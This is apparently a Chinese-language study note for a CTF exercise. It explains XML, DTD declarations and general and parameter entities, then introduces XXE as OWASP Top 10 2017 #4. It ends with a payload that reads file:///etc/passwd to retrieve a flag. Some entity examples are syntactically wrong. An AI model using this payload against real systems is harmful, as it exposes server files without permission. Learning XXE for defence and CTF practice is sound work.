根HTML一樣為標籤語言
提供結構化的資料格式,可以自由定義
<note>
<to>Allen</to>
<from>Bob</from>
<heading>Information</heading>
<body>Hello!</body>
</note>
<!ELEMENT classroom (teather,student)>
<!ATTLIST message id CDATA #REQUIRED>
<!ENTITY numbers "0912345678">
<!-- abcdefghijklmnopqrstuvwxyz -->
<?xml version="1.0"?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>Allen</to>
<from>Bob</from>
<heading>Information!</heading>
<body>Hello!</body>
</note>
<?xml version="1.0"?>
<!DOCTYPE note [
]>
<!ELEMENT note (to,from,heading,body)>
#PCDATA
CDATA
與PCDATA
CDATA
<
, &
是不合法的PCDATA
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
<!DOCTYPE 根元素 SYSTEM "文件名稱">
<!DOCTYPE note SYSTEM "http://127.0.0.1/tmp.dtd">
透過entity能夠方便的抽換XML內容,看個例子
來自w3school
DTD Example:
<!ENTITY writer "Donald Duck.">
<!ENTITY copyright "Copyright W3Schools.">
XML example:
<author>&writer;©right;</author>
url
引入DTD Example:
<!ENTITY writer SYSTEM "https://www.w3schools.com/entities.dtd">
<!ENTITY copyright SYSTEM "https://www.w3schools.com/entities.dtd">
XML example:
<author>&writer;©right;</author>
通用實體
<!ENTITY NAME "aaa">
<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY xxe NAME "here is xxe">
]>
<c>&xxe;</c>
參數實體
<!ENTITY % NAME "aaa">
xml
<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY % b SYSTEM "http://localhost/test.dtd">
%b;
]>
<c>&xxe;</c>
http://localhost/test.dtd
<!ENTITY xxe SYSTEM "here is xxe">
OWASP-TOP10 2017 第四名
主因:Parser沒有禁止使用外部實體,導致可以引入惡意payload到XML當中
引入外部實體,可能還需要搭配SSRF或是偽協議的技巧,接著把payload塞好塞滿,就可以有機會讀檔案囉
/home/ctf/flag.txt
裡面的flag思路:用剛剛學到的外部實體引入檔案,payload如下
<?xml version="1.0"?>
<!DOCTYPE a[
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>
POST
形式發出request